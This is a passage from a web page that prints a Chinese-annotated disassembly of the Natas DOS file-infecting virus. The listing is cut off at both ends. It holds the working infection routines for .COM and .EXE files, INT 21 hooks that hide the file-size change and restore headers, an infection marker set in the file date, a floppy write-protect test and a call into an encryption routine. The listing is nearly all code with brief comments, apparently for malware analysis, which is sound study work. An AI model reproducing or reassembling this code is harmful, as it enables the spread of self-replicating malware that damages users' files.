?? natas 幽靈王病毒的分析.htm
字號:
9E80:0779 7204 JB 077F
9E80:077B 051800 ADD AX,0018 ===> ;本字節在第一次讀出時保存
9E80:077E F8 CLC
9E80:077F E8AD02 CALL 0A2F ;保存返回 AX
9E80:0782 E9A1FE JMP 0626
;==========================================================================
9E80:0785 80FC40 CMP AH,40 ;INT 21 之寫文件功能
9E80:0788 7402 JZ 078C
9E80:078A EB52 JMP 07DE
9E80:078C E81C02 CALL 09AB ;取系統文件表項地址
9E80:078F 76F9 JBE 078A
9E80:0791 C44511 LES AX,[DI+11]
9E80:0794 8CC3 MOV BX,ES ;BX:AX = 文件長
9E80:0796 2D1800 SUB AX,0018
9E80:0799 83DB00 SBB BX,+00
9E80:079C 874515 XCHG AX,[DI+15] ;當前指針 => 文件尾-0018
9E80:079F 875D17 XCHG BX,[DI+17] ;BX:AX = 當前指針
9E80:07A2 50 PUSH AX
9E80:07A3 53 PUSH BX
9E80:07A4 B80200 MOV AX,0002
9E80:07A7 874502 XCHG AX,[DI+02] ;設置為寫打開
9E80:07AA 50 PUSH AX
9E80:07AB 1E PUSH DS
9E80:07AC 0E PUSH CS
9E80:07AD 1F POP DS
9E80:07AE 07 POP ES
9E80:07AF E85902 CALL 0A0B ;讀出原文件頭 => CS:1270
9E80:07B2 268F4502 POP ES:[DI+02] ;恢復打開方式
9E80:07B6 721B JB 07D3
9E80:07B8 26894515 MOV ES:[DI+15],AX ;當前指針 => 文件開始
9E80:07BC 26894517 MOV ES:[DI+17],AX
9E80:07C0 E84B02 CALL 0A0E ;寫文件頭(恢復)
9E80:07C3 720E JB 07D3
9E80:07C5 06 PUSH ES
9E80:07C6 1F POP DS
9E80:07C7 816D118812 SUB Word Ptr [DI+11],1288
9E80:07CC 194513 SBB [DI+13],AX ;文件長 - 4744
9E80:07CF 806D10C8 SUB Byte Ptr [DI+10],C8 ;恢復日期
9E80:07D3 268F4517 POP ES:[DI+17] ;恢復文件指針
9E80:07D7 268F4515 POP ES:[DI+15]
9E80:07DB E9A500 JMP 0883 ;轉原 INT 21
;=========================================================================
9E80:07DE 80FC3E CMP AH,3E ;關閉文件
9E80:07E1 740C JZ 07EF ;先復制文件句柄再傳染
9E80:07E3 3D004B CMP AX,4B00 ;執行文件
9E80:07E6 7403 JZ 07EB ;先打開文件再傳染
9E80:07E8 E99800 JMP 0883
9E80:07EB B8003D MOV AX,3D00
9E80:07EE 3DB445 CMP AX,45B4
9E80:07F1 E8E501 CALL 09D9 ;將 INT 13 切換到 BIOS
9E80:07F4 E8CB02 CALL 0AC2 ;打開/復制文件
9E80:07F7 2EA3C30A MOV CS:[0AC3],AX
9E80:07FB B80844 MOV AX,4408
9E80:07FE 99 CWD
9E80:07FF 727F JB 0880
9E80:0801 E8A701 CALL 09AB ;取系統文件表項
9E80:0804 7275 JB 087B ;出錯退出
9E80:0806 7573 JNZ 087B ;已傳染退出
9E80:0808 B33F MOV BL,3F
9E80:080A 225D05 AND BL,[DI+05] ;設備信息字
9E80:080D 8AD3 MOV DL,BL ;DL = 驅動器號 (A=0,B=1...)
9E80:080F 43 INC BX ;BX = 驅動器號 (A=1,B=2...)
9E80:0810 E8B202 CALL 0AC5 ;DOS 4408 功能
9E80:0813 B90100 MOV CX,0001 ;檢測塊設備是否可移動
9E80:0816 0E PUSH CS
9E80:0817 07 POP ES
9E80:0818 7205 JB 081F
9E80:081A 48 DEC AX
9E80:081B 7418 JZ 0835 ;固定設備轉 0835
9E80:081D EB05 JMP 0824 ;非可移動設備退出
9E80:081F 80FA01 CMP DL,01
9E80:0822 7711 JA 0835 ;C 盤以上不用檢測
9E80:0824 B80102 MOV AX,0201 ;如果是軟盤,檢測寫保護
9E80:0827 BB1314 MOV BX,1413 ;先讀出
9E80:082A CD13 INT 13
9E80:082C 724D JB 087B
9E80:082E B80103 MOV AX,0301 ;再寫入
9E80:0831 CD13 INT 13
9E80:0833 7246 JB 087B ;無法寫入退出(寫保護)
9E80:0835 41 INC CX
9E80:0836 874D02 XCHG CX,[DI+02] ;設置文件打開方式為寫打開
9E80:0839 51 PUSH CX ;保存原打開方式
9E80:083A 33C0 XOR AX,AX
9E80:083C 866504 XCHG AH,[DI+04] ;文件屬性
9E80:083F F6C404 TEST AH,04 ;系統屬性退出
9E80:0842 50 PUSH AX ;保存文件屬性
9E80:0843 7530 JNZ 0875
9E80:0845 98 CBW
9E80:0846 99 CWD ;AX 清零
9E80:0847 874515 XCHG AX,[DI+15] ;移動文件指針到文件頭
9E80:084A 875517 XCHG DX,[DI+17]
9E80:084D 50 PUSH AX ;保存原文件指針
9E80:084E 52 PUSH DX
9E80:084F BDBDB0 MOV BP,B0BD ;擴展名不為 "COM"
9E80:0852 036D28 ADD BP,[DI+28] ;轉 085D
9E80:0855 7506 JNZ 085D
9E80:0857 BDB1B2 MOV BP,B2B1
9E80:085A 036D29 ADD BP,[DI+29]
9E80:085D E86900 CALL 08C9 ;執行傳染子程序
9E80:0860 9C PUSHF
9E80:0861 E84701 CALL 09AB ;取系統文件表項
9E80:0864 9D POPF
9E80:0865 7204 JB 086B
9E80:0867 804510C8 ADD Byte Ptr [DI+10],C8 ;文件年份+100
9E80:086B 804D0640 OR Byte Ptr [DI+06],40 ;關閉時不設置時間
9E80:086F 8F4517 POP [DI+17] ;恢復系統文件表項
9E80:0872 8F4515 POP [DI+15] ;中相應內容
9E80:0875 8F4503 POP [DI+03]
9E80:0878 8F4502 POP [DI+02]
9E80:087B B43E MOV AH,3E ;關閉文件
9E80:087D E84202 CALL 0AC2
9E80:0880 E85601 CALL 09D9 ;將 INT 13 恢復到 DOS
9E80:0883 E89801 CALL 0A1E ;恢復 INT 24 及鍵盤狀態
9E80:0886 0E PUSH CS
9E80:0887 1F POP DS
9E80:0888 B001 MOV AL,01
9E80:088A BFE313 MOV DI,13E3
9E80:088D 38452E CMP [DI+2E],AL ;??????
9E80:0890 7532 JNZ 08C4 ;放棄重新截取 INT 21 ????
9E80:0892 E82EF8 CALL 00C3 ;取中斷向量 01
9E80:0895 891D MOV [DI],BX
9E80:0897 8C4502 MOV [DI+02],ES ;保存于 13E3
9E80:089A C6452F05 MOV Byte Ptr [DI+2F],05
9E80:089E C60697023F MOV Byte Ptr [0297],3F
9E80:08A3 BA7702 MOV DX,0277 ;設置中斷向量 01
9E80:08A6 E82BF8 CALL 00D4 ;到 CS:0277
9E80:08A9 E856F8 CALL 0102 ;POPA
9E80:08AC 56 PUSH SI
9E80:08AD 9C PUSHF
9E80:08AE 5E POP SI ;標志 FLAG => SI
9E80:08AF E8BEF9 CALL 0270 ;啟動 INT 01 (重新截取INT 21用)
9E80:08B2 5E POP SI ;本句轉 INT 01 (0277) 執行
9E80:08B3 FA CLI
9E80:08B4 2E8E16D512 MOV SS,CS:[12D5] ;恢復原堆棧
9E80:08B9 2E8B26D712 MOV SP,CS:[12D7]
9E80:08BE FB STI ;轉原 INT 21
9E80:08BF 2EFF2EFB13 JMP FAR CS:[13FB]
;=========================================================================
9E80:08C4 E83BF8 CALL 0102 ;POPA
9E80:08C7 EBEA JMP 08B3 ;
;=========================================================================
9E80:08C9 0E PUSH CS ;傳染子程序
9E80:08CA 1F POP DS
9E80:08CB E83D01 CALL 0A0B ;讀文件頭 18H => 1270
9E80:08CE 7244 JB 0914
9E80:08D0 8BF2 MOV SI,DX
9E80:08D2 BF8812 MOV DI,1288 ;文件頭 18H 移動到 1288
9E80:08D5 FC CLD ;準備修改
9E80:08D6 F3 REPZ
9E80:08D7 A4 MOVSB
9E80:08D8 E8D000 CALL 09AB ;取系統文件表項
9E80:08DB C44511 LES AX,[DI+11] ;文件大小 DX:AX
9E80:08DE 8CC2 MOV DX,ES
9E80:08E0 894515 MOV [DI+15],AX ;移動文件指針 => 文件尾
9E80:08E3 895517 MOV [DI+17],DX
9E80:08E6 0E PUSH CS
9E80:08E7 0E PUSH CS
9E80:08E8 07 POP ES
9E80:08E9 1F POP DS
9E80:08EA 8B0C MOV CX,[SI] ;文件頭 2 字節
9E80:08EC 81F95A4D CMP CX,4D5A
9E80:08F0 7424 JZ 0916
9E80:08F2 81F94D5A CMP CX,5A4D
9E80:08F6 741E JZ 0916 ;.EXE 文件轉 0916
;==========================================================================
9E80:08F8 0BD5 OR DX,BP ;傳染 .COM 文件
9E80:08FA 7518 JNZ 0914
9E80:08FC 3D14ED CMP AX,ED14 ; > 60692 字節不傳染
9E80:08FF 7713 JA 0914
9E80:0901 3DE803 CMP AX,03E8 ; < 1000 字節不傳染
9E80:0904 720E JB 0914
9E80:0906 C604E9 MOV Byte Ptr [SI],E9 ;文件頭改為 JMP XXXX
9E80:0909 FEC4 INC AH ;ADD AX,100H
9E80:090B 50 PUSH AX ;.COM 文件入口 11DA
9E80:090C 05D710 ADD AX,10D7 ;(0100+0003+10D7)
9E80:090F 894401 MOV [SI+01],AX
9E80:0912 EB7B JMP 098F
9E80:0914 F9 STC
9E80:0915 C3 RET
;===========================================================================
9E80:0916 837C0CFF CMP Word Ptr [SI+0C],-01 ;傳染 .EXE 文件
9E80:091A 75F8 JNZ 0914 ;要分配內存不為 -1 返回
9E80:091C 8BE8 MOV BP,AX
9E80:091E 8BFA MOV DI,DX ;DI:BP = 文件長
9E80:0920 B90002 MOV CX,0200
9E80:0923 F7F1 DIV CX
9E80:0925 0BD2 OR DX,DX
9E80:0927 7401 JZ 092A
9E80:0929 40 INC AX
9E80:092A 2B4404 SUB AX,[SI+04]
9E80:092D 75E5 JNZ 0914
9E80:092F 2B5402 SUB DX,[SI+02] ;文件有覆蓋部分不傳染
9E80:0932 75E0 JNZ 0914
9E80:0934 B88812 MOV AX,1288
9E80:0937 03C5 ADD AX,BP
9E80:0939 13D7 ADC DX,DI ;DX:AX = 新文件長
9E80:093B F7F1 DIV CX
9E80:093D 0BD2 OR DX,DX
9E80:093F 7401 JZ 0942
9E80:0941 40 INC AX
9E80:0942 894404 MOV [SI+04],AX
9E80:0945 895402 MOV [SI+02],DX ;新映象長度
9E80:0948 BB90E9 MOV BX,E990
9E80:094B 33C9 XOR CX,CX
9E80:094D 3BEB CMP BP,BX
9E80:094F 7205 JB 0956
9E80:0951 83ED10 SUB BP,+10
9E80:0954 E2F7 LOOP 094D
9E80:0956 83FF0F CMP DI,+0F ;文件長 > 640K 不傳染
9E80:0959 77B9 JA 0914
9E80:095B 91 XCHG AX,CX ;文件長低位 > E990 部分
9E80:095C B104 MOV CL,04 ;轉移到 DI
9E80:095E D3CF ROR DI,CL ;
9E80:0960 0BC0 OR AX,AX
9E80:0962 7404 JZ 0968
9E80:0964 2BF8 SUB DI,AX ;DIx10 + BP = 文件長
9E80:0966 73AC JNB 0914
9E80:0968 2B7C08 SUB DI,[SI+08] ;減去文件頭長
9E80:096B 55 PUSH BP
9E80:096C 81C5DA11 ADD BP,11DA ;新入口 : 11DA
9E80:0970 896C14 MOV [SI+14],BP ;新 CS:IP
9E80:0973 897C16 MOV [SI+16],DI
9E80:0976 81C50002 ADD BP,0200 ;新 CS:IP+0200
9E80:097A 896C10 MOV [SI+10],BP ;為新堆棧
9E80:097D 897C0E MOV [SI+0E],DI
9E80:0980 BD0080 MOV BP,8000
9E80:0983 D3FB SAR BX,CL ;BX = E990,CL=4
9E80:0985 8B440A MOV AX,[SI+0A] ;分配最小內存
9E80:0988 2BC3 SUB AX,BX
9E80:098A 7303 JNB 098F
9E80:098C 89440A MOV [SI+0A],AX
;=======================================================================
9E80:098F 58 POP AX ;.COM 由此入
9E80:0990 E83F01 CALL 0AD2 ;產生加密代碼
9E80:0993 55 PUSH BP
9E80:0994 9D POPF
9E80:0995 7213 JB 09AA
9E80:0997 E81100 CALL 09AB ;取系統文件表項
9E80:099A 894D15 MOV [DI+15],CX ;文件指針移動到文件頭
9E80:099D 894D17 MOV [DI+17],CX
9E80:09A0 B440 MOV AH,40
9E80:09A2 BA8812 MOV DX,1288
9E80:09A5 0E PUSH CS
9E80:09A6 1F POP DS
9E80:09A7 E86900 CALL 0A13 ;寫新文件頭 18H 字節
9E80:09AA C3 RET </FONT></PRE><PRE><FONT color=#008080 size=2>;=======================================================================
;取系統文件表項于 ES:DI
;返回 CY 不傳染, NZ = 已傳染
9E80:09AB 50 PUSH AX
9E80:09AC 53 PUSH BX
9E80:09AD B82012 MOV AX,1220
9E80:09B0 2E8B1EC30A MOV BX,CS:[0AC3]
9E80:09B5 CD2F INT 2F ;取文件表地址
9E80:09B7 721D JB 09D6
9E80:09B9 B81612 MOV AX,1216
9E80:09BC 268A1D MOV BL,ES:[DI]
9E80:09BF 80FBFF CMP BL,FF
9E80:09C2 F5 CMC
9E80:09C3 7411 JZ 09D6
9E80:09C5 CD2F INT 2F ;取系統文件表項
9E80:09C7 720D JB 09D6
9E80:09C9 06 PUSH ES
9E80:09CA 1F POP DS
9E80:09CB F6450580 TEST Byte Ptr [DI+05],80
9E80:09CF F5 CMC ;先設置為 CY
9E80:09D0 7504 JNZ 09D6 ;遠程文件不傳染
9E80:09D2 F6451080 TEST Byte Ptr [DI+10],80
9E80:09D6 5B POP BX ;判是否已傳染
9E80:09D7 58 POP AX ;沒有傳染返回 NZ,NC
9E80:09D8 C3 RET
;==========================================================================
;切換 INT 13 / INT 14 / INT 15 / INT 40
;(DOS INT 與 BIOS 初始 INT 之間)
9E80:09D9 50 PUSH AX
9E80:09DA 53 PUSH BX
9E80:09DB 52 PUSH DX
9E80:09DC 1E PUSH DS
9E80:09DD B013 MOV AL,13
9E80:09DF BFEB13 MOV DI,13EB
9E80:09E2 0E PUSH CS
9E80:09E3 1F POP DS
9E80:09E4 E8DCF6 CALL 00C3 ;取中斷向量
9E80:09E7 8CC2 MOV DX,ES ;于 ES:BX
9E80:09E9 871D XCHG BX,[DI] ;保存于 13EB
9E80:09EB FC CLD
9E80:09EC AF SCASW
9E80:09ED 87D3 XCHG DX,BX
9E80:09EF 871D XCHG BX,[DI]
9E80:09F1 AF SCASW
9E80:09F2 8EDB MOV DS,BX
9E80:09F4 E8DDF6 CALL 00D4 ;設置 BIOS 初始值
9E80:09F7 3C15 CMP AL,15
9E80:09F9 B015 MOV AL,15
9E80:09FB 7305 JNB 0A02
9E80:09FD 83C704 ADD DI,+04
9E80:0A00 EBE0 JMP 09E2
9E80:0A02 B040 MOV AL,40
9E80:0A04 74DC JZ 09E2
9E80:0A06 1F POP DS
9E80:0A07 5A POP DX
9E80:0A08 5B POP BX
9E80:0A09 58 POP AX
9E80:0A0A C3 RET
;==========================================================================
;0A0B 讀文件頭 18 字節到 1270
;0A0E 寫文件頭 18 字節
9E80:0A0B B43F MOV AH,3F
9E80:0A0D 3DB440 CMP AX,40B4
9E80:0A10 BA7012 MOV DX,1270
9E80:0A13 B91800 MOV CX,0018
9E80:0A16 E8A900 CALL 0AC2
9E80:0A19 7202 JB 0A1D
9E80:0A1B 2BC1 SUB AX,CX
9E80:0A1D C3 RET
;=======================</FONT></PRE></TR></TBODY></TABLE></CENTER></DIV></BODY></HTML>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -